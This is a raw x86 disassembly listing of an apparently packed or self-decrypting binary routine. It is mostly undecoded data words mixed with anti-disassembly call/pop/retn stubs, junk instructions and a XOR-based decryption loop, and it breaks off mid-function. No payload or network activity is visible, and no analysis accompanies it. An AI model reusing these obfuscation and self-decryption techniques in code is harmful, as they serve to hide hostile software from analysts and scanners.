dd 840F0006h, 11h, 0CE9h, 4B4EE100h, 52F03BA5h, 12C73593h
dd 1DBD83C8h, 61511h, 56840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E4FCB1C3h
dd 0F5605A5Eh, 2810Fh, 0D18B0000h, 0D19D8B61h, 83061533h
dd 15089DBDh, 840F0006h, 18h, 7E9h, 0E6505D00h, 87ED7281h
dd 237595FFh, 9D890615h, 6152869h, 9D23C08Bh, 615226Dh
dd 2D01BD89h, 0BD830615h, 61508F5h, 83097500h, 1503ADBDh
dd 1A740006h, 0C08B5350h, 2A1858Bh, 85890615h, 61502A1h
dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50187400h
dd 0A1858B53h, 89061502h, 1502A185h, 0A69D8D06h, 0FF0617A7h
dd 6A585BD3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 9F6DC351h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 2FC35646h, 0AF6D5582h, 0BBE40734h
dd 6810F52h, 31000000h, 1528B195h, 0EE95B06h, 92000000h
dd 948E189h, 0C9E9A78Dh, 0BD924586h, 6AC08B55h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 0B3ADC350h, 78F6BBAAh, 0BD832635h, 615111Dh, 7D840F00h
dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 12B4C350h, 81B91087h, 431F5343h
dd 6E960h, 0E0420000h, 0E1436F5Ah, 0EDBD8361h, 206150Bh
dd 35840Fh, 0BD830000h, 6150045h, 28850F01h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 813AC355h, 9D8B597Eh, 6152215h, 60FDC780h
dd 7AAB61BBh, 0A1F6803Ah, 4F0F8D8Bh, 95890615h, 61520B1h
dd 0FE5BDA80h, 0A8F38001h, 26135068h, 81D98BE6h, 0ED302404h
dd 6A19D9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 721E65C3h, 11E914h, 22860000h, 0FF28EC2Bh
dd 9E8770B8h, 16E28D32h, 6A167D5Ch, 9E8FFh, 6BF10000h
dd 7D04F832h, 8B72300Eh, 1528A99Dh, 95FF5A06h, 615248Dh
dd 2F359D8Bh, 6A610615h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 0BAB8C351h, 7BBC67F2h
dd 958BD911h, 6151379h, 5E1BD8Dh, 6A0615h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FC0AAC3h
dd 681h, 3D958B00h, 8B061507h, 81661C4Fh, 6A075ACBh, 50006A01h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 0FA5A1D27h, 0F3BA9B74h, 0D7E280A6h, 10E96050h, 46000000h
dd 0AAF878F8h, 22369F09h, 6A323DFBh, 8B645503h, 0C8961C8h
dd 0A9852924h, 0F061525h, 858DDBBFh, 6183736h, 0D0FF0CB2h
dd 8B1DF780h, 6AF8204Fh, 99958B03h, 5006152Ah, 52505250h
dd 310F5A53h, 8D9D15BBh, 0F585A67h, 1ABB6631h, 89585AE4h
dd 6A240Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 524B0DC3h, 13A7176Ch, 0D08B89EAh, 0BB99D8Bh
dd 858D0615h, 6183736h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 1DC35545h, 60D0FFF8h, 188C0Fh, 13E90000h
dd 30000000h, 0F1EED5F2h, 0EF18B2BDh, 7499A94Eh, 72635F0h
dd 8D61C276h, 1505E1BDh, 659D2B06h, 8B06152Ch, 0BAB31C4Fh
dd 50F5016Ah, 0E85F5660h, 10h, 0F35C0CF6h, 312BBDA0h, 0B646113Eh
dd 6A4B655Ah, 6159C88Bh, 80240C89h, 858D56EEh, 6183736h
dd 5880Fh, 81660000h, 0FF10B6EBh, 0DAB70FD0h, 66204F8Bh
dd 9B72CA81h, 8B66036Ah, 0E5BB50D9h, 89123FC5h, 9589240Ch
dd 6151299h, 3736858Dh, 0D78B0618h, 56C38166h, 50D0FFCDh
dd 33E99D8Bh, 815B0615h, 4320B2E3h, 0F8D8B53h, 8B06154Fh
dd 15192995h, 0F01FE06h, 18Fh, 858BF500h, 6154F0Fh, 6890Fh
dd 9D8B0000h, 6150885h, 1335958Bh, 0FE0615h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C1C35545h, 0E53579C4h
dd 0D023CB8Dh, 9D8B016Ah, 6150E11h, 0A2AAF168h, 18F8BBDEh
dd 481394Ah, 5CF50E24h, 3D9D8921h, 8D061517h, 18374085h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 7D20953Fh, 377BAA32h, 958B11A0h, 6152399h
dd 8D89D0FFh
dd 6152A2Dh, 2975BD83h, 0F000615h, 10684h, 85895000h, 6152A99h
dd 0B5BD835Bh, 106152Dh, 0F1850Fh, 0BB660000h, 8D8DF682h
dd 618374Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 82C35040h, 8AC9D663h, 0C28166D3h, 36A4216h, 850Fh
dd 16A0000h, 2395958Bh, 0D1FF0615h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 3DC35242h, 8459307Bh, 0E381DDBEh
dd 4DE057A4h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 17E6FEC3h, 5890Fh, 99BB0000h, 6A22D915h
dd 53006A01h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 71BB8162h, 0FF3C9441h, 138B0FD1h, 0F000000h
dd 0D82h, 7E800h, 0C0350000h, 0E672F01Bh, 3EE85AD3h, 0E9FA466Dh
dd 13h, 61B5DB1Dh, 10D4BCF2h, 2281360Ch, 0A329DCCh, 6A4B55B8h
dd 0D6B70F20h, 0BF0FFF6Ah, 8D95FFD1h, 66061524h, 0B80E56BBh
dd 0
; ---------------------------------------------------------------------------
add bx, 419Eh
or eax, eax
jz loc_5803F6
mov bl, 0B2h
cmp dword ptr [ebp+6152679h], 0
jz loc_5803F6
push 0
push esi
call loc_5803CF
and [esi-3Dh], bl
loc_5803CF: ; CODE XREF: sub_57DD3A+268Dp
pop esi
mov [esp+38h+var_34], esi
add [esp+38h+var_34], 1Bh
inc esi
push esi
retn
; ---------------------------------------------------------------------------
db 0C1h
dd 0DA160879h, 0F90CAF4h, 95FFDFB7h, 6153401h, 355DF281h
db 0CAh, 26h
; ---------------------------------------------------------------------------
loc_5803F6: ; CODE XREF: sub_57DD3A+2675j
; sub_57DD3A+2684j
mov eax, [ebp+6152849h]
push esi
mov dx, di
pop ebx
mov byte ptr [eax], 0
push 0
push edi
call loc_58040F
and [edi-3Dh], bl
loc_58040F: ; CODE XREF: sub_57DD3A+26CDp
pop edi
mov [esp+38h+var_34], edi
add [esp+38h+var_34], 16h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
db 9Ah
; ---------------------------------------------------------------------------
pop ebp
or [ecx+15165185h], cl
push es
pop eax
mov dx, 97A1h
mov cx, ds
jno loc_58043C
or [ebp+61517A9h], edi
loc_58043C: ; CODE XREF: sub_57DD3A+26F6j
adc ebx, 45BAEE98h
test cl, 4
jz loc_580490
mov ebx, [ebp+615019Dh]
jmp loc_580490
; ---------------------------------------------------------------------------
sub dl, 67h
jmp loc_580466
; ---------------------------------------------------------------------------
dw 0EDB6h
dd 47017783h
db 30h, 35h
; ---------------------------------------------------------------------------
loc_580466: ; CODE XREF: sub_57DD3A+271Fj
mov esi, [ebp+6150B8Dh]
or [ebp+6152C65h], ebx
add esi, 1180h
add ebx, [ebp+6150D35h]
mov edx, [ebp+6152829h]
mov dword ptr [esi], 0
mov [ebp+6152E45h], edx
loc_580490: ; CODE XREF: sub_57DD3A+270Bj
; sub_57DD3A+2717j
pop esi
push 0
push ecx
call loc_58049C
and [ecx-3Dh], bl
loc_58049C: ; CODE XREF: sub_57DD3A+275Ap
pop ecx
mov [esp+34h+var_30], ecx
add [esp+34h+var_30], 1Dh
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
dd 98D404E1h, 0E695FDA3h, 5156C8BCh, 18B9958Bh, 5B5B0615h
dd 0F00F883h, 0AA784h, 8166F500h, 8354A8E3h, 850F01F8h
dd 1C4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 0C4C35040h, 0B8FC8Ah, 66000000h, 9589D78Bh, 61515F5h
dd 840FC00Bh, 0FAh, 2639B531h, 0F8830615h, 1C840F01h, 8B000001h
dd 1508D595h, 0CA816606h, 0F8832995h, 78840F03h, 8B000000h
dd 152DF595h, 6AC02B06h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0F560C351h, 6890Fh
dd 0B5890000h, 6152A65h, 89E0BD8Dh, 8052005Bh, 0FF5A9CD7h
dd 52006AE7h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 95E6DCBFh, 0A5E59D91h, 0F38166D5h, 0CE990A7h
dd 30000000h, 2A5D9C45h, 3263FE6Dh, 0B8DC4400h, 1, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7DC35141h, 46FF1657h
dd 0E1D3304h, 899D8B90h, 0B2061527h, 0E0BD8DC3h, 6A005B89h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 29F5C355h, 1519219Dh, 66E7FF06h, 0BD8DDA8Bh
dd 615459Bh, 0AE9h, 0F78F3A00h, 940E593Ah, 0E9C7E3B3h
dd 25Dh, 12E9h, 2A390A00h, 63E52BE1h, 3686E823h, 117C2D4Bh
dd 0C7E00554h, 154F6A85h, 506h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 93998E26h
dd 995C92AAh, 619D89E1h, 0B8061506h, 5, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 19h, 0BBC35242h, 5267489Fh
dd 873E930h, 0F2810000h, 38353A3Ah, 0F02F883h, 0C185h
dd 24EF8000h, 0B8h, 0D0B70F00h, 840FC00Bh, 90h, 148D0Fh
dd 8E80000h, 0EB000000h, 0C963EB2Ah, 89D9E148h, 1528559Dh
dd 0F8835A06h, 5C840F01h, 8BFFFFFFh, 151D1195h, 3F88306h
dd 0FEBD840Fh, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 96D52AC3h, 0D87BE5B3h, 0B888h, 9ABA0000h
dd 8D565D5Ch, 5B89E0BDh, 0D68B6600h, 14E8h, 29027100h
dd 330D7494h, 5BB98AB4h, 9284FDE0h, 0A99914A6h, 5DBD89A2h
dd 5B061517h, 0B589E7FFh, 6152395h, 4793BD8Dh, 6E90615h
dd 0F0000000h, 0D87ACF98h, 11FE9F1h, 81560000h, 57078BC2h
dd 0F8835B24h, 54850F03h, 0F000000h, 0BD8DD3BFh, 6154927h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 94C35141h
dd 343E0AB0h, 0D08B6684h, 0DCE9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 117C2D4Bh
dd 83E00554h, 850F05F8h, 7, 36E9D08Bh, 83000007h, 850F06F8h
dd 46h, 0BD8DD88Bh, 6154B1Fh, 0DE960h, 50060000h, 89FBDE49h
dd 0E47CCAB8h, 61E868DEh, 80E9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 2DC519EAh
dd 65D5B306h, 0F883F1BCh, 25850F07h, 8A000000h, 95BD8DF1h
dd 0F06151Eh, 68Eh, 39950300h, 0E9061505h, 0D0h, 7E9h
dd 0A774A600h, 4E783EE6h, 0F0AF883h, 2485h, 0B890F00h
dd 0E9000000h, 6, 0C2842DE3h, 0BD8D4EF3h, 6154D17h, 262D9501h
dd 2E90615h, 0B7000000h, 0DE95749h, 0A8000000h, 0C1B9D08Dh
dd 71F070EBh, 3C9D7EDDh, 767ED4B9h, 0CD8D8932h, 8306152Fh
dd 840F003Fh, 5Ch, 81D7B70Fh, 5FC03EDAh, 660F301Fh, 0D16EFABAh
dd 0F5958BC9h, 8B06152Fh, 1522F19Dh, 0D78B4706h, 3830Fh
dd 0EE800000h, 0FFC9E975h, 6AFFFFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B65D0AC3h
dd 0AE9D6h, 38220000h, 4962CCBh, 0D33FCF03h, 0EE95Fh, 193E0000h
dd 1D8476F1h, 4953D569h, 0AB18C8Fh, 4F13BD89h, 9D8B0615h
dd 6152569h, 9F99503h, 8D8D0615h, 6151395h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0AAC35646h, 0B9D33E63h
dd 72C4E4F2h, 266DBD29h, 0B5FF0615h, 6152669h, 8159D03h
dd 858D0615h, 617A3E1h, 16BD8D50h, 8D061556h, 156F4D8Dh
dd 1ABCB806h, 0CF2B5483h, 0C8D00730h, 0F8754947h, 6ED1B58Dh
dd 8D8D0615h, 6156F65h, 0A4F3CF2Bh, 0B8C933h, 0B000000h
dd 834674C0h, 152679BDh, 6740006h, 340195FFh, 0B58B0615h
dd 6154F13h, 0A3E1858Dh, 0D0FF0617h, 4370858Dh, 0D0FF0615h
dd 7A985C7h, 10615h, 0A58B0000h, 6152D85h, 2AA5B58Bh, 0AD8B0615h
dd 61527E5h, 0CC2C033h, 43F3BB00h, 0B70F39C5h, 69B589D7h
dd 83061517h, 1511C1BDh, 840F0006h, 0Eh, 95FFE5B2h, 6152B11h
dd 27419589h, 0BD830615h, 6151E01h, 0ED850F00h, 0E9000001h
dd 7, 10B764E5h, 315C9E49h, 150531BDh, 0B5BD8306h, 106152Dh
dd 1CE850Fh, 0C7800000h, 9BD83D1h, 61516h, 1BE840Fh, 0BE90000h
dd 43000000h, 6892DE0Eh, 1C77B88Ch, 0BD837EE4h, 6154F66h
dd 0A1840F00h, 8B000001h, 15097995h, 0E1858D06h, 6A0617A3h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 72B3C351h, 0B59BC557h, 0BC040921h, 4B3A4CBBh
dd 3FD68055h, 4F13B58Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 59ED84C3h, 5D5DA15Fh
dd 2D81958Bh, 0D0FF0615h, 0C6DEB70Fh, 1509C585h, 830F5406h
dd 6, 0E7F6DB81h, 0CE680C7Ah, 66D4085Eh, 481D88Bh, 46602624h
dd 52006A2Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 839E26FAh, 0F683F5Eh, 0B5FFD6B7h, 6151685h
dd 8DD1BF0Fh, 153B3885h, 10E906h, 0D6990000h, 0E36FFA77h
dd 0F4C9B7E3h, 0E469EA73h, 0D0FF1CF5h, 44CB8166h, 89006A69h
dd 151DDDBDh, 6AFF6A06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0CC38C356h, 0E4BF913h
dd 0FFD8BF0Fh, 50006AD0h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 11E9609Fh, 8E000000h
dd 505B4917h, 0B940634h, 0C839D832h, 4F137A00h, 61F6BF0Fh
dd 28ADB5FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0DE4CC3h, 0AB2746B0h, 1D08B41h
dd 1527998Dh, 6995FF06h, 6A061526h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0C321C350h
dd 852995E0h, 615193Dh, 4F13B58Bh, 6A0615h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 3994BCC3h
dd 8F4104Ch, 873FD5BAh, 8529C377h, 6151E0Dh, 2849B58Bh
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 0B3F6B8C3h, 8E6F2FC5h, 601BD380h, 0BE861h
dd 523A0000h, 0D361E4E5h, 4CE4FA6Ah, 3C34BBCDh, 0B5A31A8h
dd 3D840FF6h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 2F70C351h, 0E18529A0h
dd 29061516h
dd 15255D85h, 6C606h, 5F526050h, 0BB19BA66h, 95895B61h
dd 6152469h, 4F1B8589h, 0EE90615h, 3E000000h, 2F34F7B9h
dd 0DC05C8A4h, 872927A4h, 0F88331h, 28A840Fh, 8B560000h
dd 150AE995h, 0B85B06h, 8B000000h, 150E2195h, 0D0BF0F06h
dd 0F00F883h, 0C284h, 0E5950900h, 83061518h, 850F02F8h
dd 83h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
dd 0C9C35040h, 0D73758B9h, 0B3217F3Eh, 86AC381h, 858D0F0Dh
dd 6154596h, 66EABA66h, 9292Dh, 6D9D8B00h, 90061510h, 5050D38Bh
dd 0F98A5252h, 5A310F5Bh, 6A9058h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 4BFA1BC3h, 9AFB91h, 2AF59529h
dd 95230615h, 6152875h, 0B18589C3h, 0B806150Ah, 0
dd 14E8h, 99B16D00h, 744976ECh, 0A4D634A0h, 60C8081h, 0CB64393Ch
dd 65950998h, 5A061507h, 1AFE9h, 0B99D2B00h, 0B806150Bh
dd 1, 0CE9h, 23FD3900h, 1A610D62h, 937A801Fh, 9BBD8D9Dh
dd 6A061545h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 253AC355h, 0C7553C42h, 0AB34E372h
dd 0E9D2BF0Fh, 77h, 2A559D8Bh, 7E90615h, 22000000h, 0A5ED581Fh
dd 0F883FF6Dh, 1E850F02h, 23000000h, 152AE19Dh, 93BD8D06h
dd 0FC061547h, 4AE9h, 6800F00h, 0B000000h, 1533A59Dh, 3F88306h
dd 1B850Fh, 9D890000h, 6152FC1h, 4927BD8Dh, 9D290615h
dd 61503D5h, 1EE9h, 6CBA6600h, 5F8837Eh, 11850Fh, 958B0000h
dd 6153431h, 88E9h, 999D8B00h, 57061517h, 2E598D89h, 0D08B0615h
dd 767ED4B9h, 53006A32h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 0FFE2A54h, 689h, 4D850900h, 83061517h
dd 840F003Fh, 41h, 0E870Fh, 9E90000h, 72000000h, 4F965932h
dd 871517FAh, 9D8B0F30h, 6152EB9h, 0BD29C9D1h, 6152619h
dd 0D8DBD89h, 0F470615h, 68Ah, 0F9B58900h, 0E906150Fh
dd 0FFFFFFBBh, 877446BBh, 5F8830Bh, 5E850Fh, 0B70F0000h
dd 0D98C66DBh, 0F63DC280h, 850F04C1h, 34h, 0B8DFB70Fh
dd 0
; ---------------------------------------------------------------------------
push esi
mov dx, 0EE92h
pop ebx
jmp loc_580F70
; ---------------------------------------------------------------------------
push 0
push ebp
call loc_580F42
and [ebp-3Dh], bl
loc_580F42: ; CODE XREF: sub_57DD3A+3200p
pop ebp
mov [esp+38h+var_34], ebp
add [esp+38h+var_34], 14h
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
or al, 66h
sub ebx, 858BC7C8h
xor [esi], ecx
adc eax, 0E0BA6606h
mov esi, 6053E0FFh
mov ah, 5Fh
mov ebx, [ebp+6150D65h]
popa
pop ebx
loc_580F70: ; CODE XREF: sub_57DD3A+31F8j
cmp dword ptr [ebp+6152669h], 0
jnz loc_58106B
or dl, 3Bh
push eax
push eax
mov edx, ecx
pop ebx
mov [esp+1Ch+var_1C], eax
push 0
push ebp
call loc_580F93
and [ebp-3Dh], bl
loc_580F93: ; CODE XREF: sub_57DD3A+3251p
pop ebp
mov [esp+1Ch+var_18], ebp
add [esp+1Ch+var_18], 1Ch
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
db 43h
dd 0E2EDAF7Ch, 0B7B45EB6h, 1775958Bh, 85C60615h, 61509C5h
dd 4E845h, 69690000h, 96B28E72h, 8BD98B50h, 0F042444h
dd 28Ch, 8BFCB600h, 0CE800h, 3EC80000h, 962F76EAh, 3B5BEAD5h
dd 12E99E9Eh, 97000000h, 0DE3CDD0Fh, 1E904D70h, 5D7D4D37h
dd 602DA7C1h, 44895B8Ch, 0F560424h, 48Ah, 0C9BA6600h, 0B585A31h
dd 1516F195h, 85B5FF06h, 0E8061516h, 12h, 3F79DE17h, 0B1A86CDDh
dd 0BE761B4Eh, 8DB4ADFh, 0C680DC58h, 858D5A83h, 6153B38h
dd 8BD0FFF8h, 698589DEh, 6A061526h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7153C357h
dd 0B1958B58h
; ---------------------------------------------------------------------------
and al, 15h
push es
loc_58106B: ; CODE XREF: sub_57DD3A+323Dj
cmp dword ptr [ebp+6154F6Ah], 0
jz loc_58109A
add bl, 90h
push dword ptr [ebp+61528ADh]
mov dx, cx
call dword ptr [ebp+6152669h]
or [ebp+6152479h], eax
jmp loc_58109A
; ---------------------------------------------------------------------------
mov eax, ds:9B9F84E8h
loc_58109A: ; CODE XREF: sub_57DD3A+3338j
; sub_57DD3A+3356j
cmp eax, 0
jnz loc_5811E0
push 0
push ecx
call loc_5810AE
and [ecx-3Dh], bl
loc_5810AE: ; CODE XREF: sub_57DD3A+336Cp
pop ecx
mov [esp+4], ecx
add dword ptr [esp+4], 1Ah
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
dw 79Fh
dd 0F945A729h, 0D98B6685h, 301B589h, 0BD830615h, 6150A01h
dd 6D840F00h, 0F000000h, 287h, 8B20B700h, 151C9D9Dh, 1B5FF06h
dd 0E806150Ah, 14h, 0DA2375ACh, 685E42BFh, 68EFC268h, 2CC19C3h
dd 692F6F36h, 5E8h, 3428AB00h, 5BF8F8DEh, 1B85Ah, 958B0000h
dd 6151095h, 29AE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 9D2307A7h, 61509C9h, 28ADB5FFh
dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 51FDC7C3h, 749A87ACh, 0CE9h, 0E6E93A00h
dd 0C566DA58h, 41C9764h, 0CE821h, 32270000h, 0DF1F7FFCh
dd 79D5EFE5h, 87BA4744h, 5B3EEA15h, 28ADB5FFh, 6A0615h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 20841BC3h, 0B5FF8A92h, 6152669h, 0F4E9B8B6h, 0E8000001h
dd 6, 0AFAAEEECh, 9D897B2Bh, 6151691h, 0E0DA805Ah
; ---------------------------------------------------------------------------
loc_5811E0: ; CODE XREF: sub_57DD3A+3363j
pop edi
push 0
push ecx
call loc_5811EC
and [ecx-3Dh], bl
loc_5811EC: ; CODE XREF: sub_57DD3A+34AAp
pop ecx
mov [esp+20h+var_1C], ecx
add [esp+20h+var_1C], 17h
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
dd 79E1E874h, 6D5BD83h, 0F000615h, 0E385h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 9FB5EE7h, 40C38166h, 12E932h, 0B300000h, 672A0FEEh
dd 20841BE4h, 0CD578A92h, 5DF18ECEh, 9C585C6h, 6A4D0615h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 0CDDBC355h, 1621D88Ah, 858921D1h, 61526D9h
dd 0FACA8166h, 4E833h, 76A80000h, 6650A435h, 448BD68Bh
dd 8B0424h, 8F0F5250h, 3, 0FD88B66h, 8B0F5331h, 0
; ---------------------------------------------------------------------------
pop edx
pop edx
pop eax
mov [esp+18h+var_14], eax
mov dx, cx
pop eax
mov edx, [ebp+6150C99h]
mov [ebp+6152AF5h], ebx
push dword ptr [ebp+6150789h]
cld
lea eax, [ebp+6153B38h]
jl loc_5812D4
mov edx, [ebp+6152625h]
loc_5812D4: ; CODE XREF: sub_57DD3A+358Ej
call eax
pusha
mov edx, [ebp+615156Dh]
popa
mov [ebp+61506D5h], eax
jp loc_5812F0
sub [ebp+6152DB1h], ebx
loc_5812F0: ; CODE XREF: sub_57DD3A+35AAj
mov eax, 0
push 0
push ecx
call loc_581300
and [ecx-3Dh], bl
loc_581300: ; CODE XREF: sub_57DD3A+35BEp
pop ecx
mov [esp+18h+var_14], ecx
add [esp+18h+var_14], 1Ah
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
xlat
db 67h
retf
; ---------------------------------------------------------------------------
cmp eax, 0F537B2C2h
mov [ebp+6154F13h], edi
and dh, 0FCh
or eax, eax
jz loc_581351
push 0
push ecx
call loc_581334
and [ecx-3Dh], bl
loc_581334: ; CODE XREF: sub_57DD3A+35F2p
pop ecx
mov [esp+1Ch+var_18], ecx
add [esp+1Ch+var_18], 18h
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
add al, 15h
push esi
xchg eax, esp
wait
jmp loc_5813BF
; ---------------------------------------------------------------------------
movzx edx, dx
loc_581351: ; CODE XREF: sub_57DD3A+35E9j
push dword ptr [ebp+6152669h]
sub [ebp+6150701h], edi
lea eax, [ebp+617A3E1h]
push 0
push ebp
call loc_58136E
and [ebp-3Dh], bl
loc_58136E: ; CODE XREF: sub_57DD3A+362Cp
pop ebp
mov [esp+20h+var_1C], ebp
add [esp+20h+var_1C], 1Ch
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
dw 0AE0Bh
dd 97202FF0h, 503EEF48h, 13E8h, 92BFAA00h, 2291E05Fh, 1CEA9C7Ch
dd 0D2BBE0E9h, 9137F2EAh, 6E95250h, 2F000000h, 0A60B88FBh
dd 8B310F73h, 5B585ADEh, 8B240489h, 15340595h
; ---------------------------------------------------------------------------
push es
mov ebx, esi
loc_5813BF: ; CODE XREF: sub_57DD3A+360Fj
push eax
push esi
lea edi, [ebp+6155616h]
lea ecx, [ebp+61579A5h]
mov eax, 748323BCh
sub ecx, edi
loc_5813D4: ; CODE XREF: sub_57DD3A+36A0j
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_5813D4
pop esi
pop eax
cmp dword ptr [ebp+6150A01h], 0
jz short loc_5813ED
mov ecx, [ebp+6151A51h]
loc_5813ED: ; CODE XREF: sub_57DD3A+36ABj
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_5814A4
cmp dword ptr [ebp+6152679h], 0
jz short loc_58140B
call dword ptr [ebp+6153401h]
loc_58140B: ; CODE XREF: sub_57DD3A+36C9j
mov eax, 0
or eax, eax
jnz short loc_58141D
cmp dword ptr [ebp+6154F1Bh], 1
jz short loc_581426
loc_58141D: ; CODE XREF: sub_57DD3A+36D8j
cmp dword ptr [ebp+6154F1Bh], 2
jnz short loc_581434
loc_581426: ; CODE XREF: sub_57DD3A+36E1j
mov esi, [ebp+6154F13h]
lea eax, [ebp+617A3E1h]
call eax
loc_581434: ; CODE XREF: sub_57DD3A+36EAj
cmp dword ptr [ebp+61511C1h], 0
jz short loc_581443
call dword ptr [ebp+6152B11h]
loc_581443: ; CODE XREF: sub_57DD3A+3701j
lea eax, [ebp+6154370h]
call eax
cmp dword ptr [ebp+6150BEDh], 2
jnz short loc_581483
mov esp, [ebp+6152D85h]
mov eax, [ebp+6150A01h]
mov [esp+28h+var_28], eax
mov dword ptr [ebp+61507A9h], 1
mov esi, [ebp+6154F17h]
mov ebp, [ebp+61527E5h]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_581483: ; CODE XREF: sub_57DD3A+3718j
mov dword ptr [ebp+61507A9h], 1
mov esp, [ebp+6152D85h]
mov esi, [ebp+6152AA5h]
mov ebp, [ebp+61527E5h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_5814A4: ; CODE XREF: sub_57DD3A+36BCj
cmp dword ptr [ebp+61511C1h], 0
jz short loc_5814BC
cmp dword ptr [ebp+6152B11h], 0
jz short loc_5814BC
call dword ptr [ebp+6152B11h]
loc_5814BC: ; CODE XREF: sub_57DD3A+3771j
; sub_57DD3A+377Aj
mov esi, [ebp+6154F13h]
retn
; ---------------------------------------------------------------------------
push 0
push ecx
call loc_5814CE
and [ecx-3Dh], bl
loc_5814CE: ; CODE XREF: sub_57DD3A+378Cp
pop ecx
mov [esp+28h+var_24], ecx
add [esp+28h+var_24], 1Ah
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
dw 0E78Eh
dd 7A322D39h, 0E9DF8B2Dh, 13h, 949B5E07h, 0D5259F8Eh, 7492F2C7h
dd 0CA1A6A73h, 0BB8928C6h, 620CD2DEh, 6AD22Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0D4B3D7C3h, 2AF1A579h, 0DF8B2469h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_58153C
; ---------------------------------------------------------------------------
loc_58153A: ; CODE XREF: sub_57DD3A+3805j
inc eax
inc edi
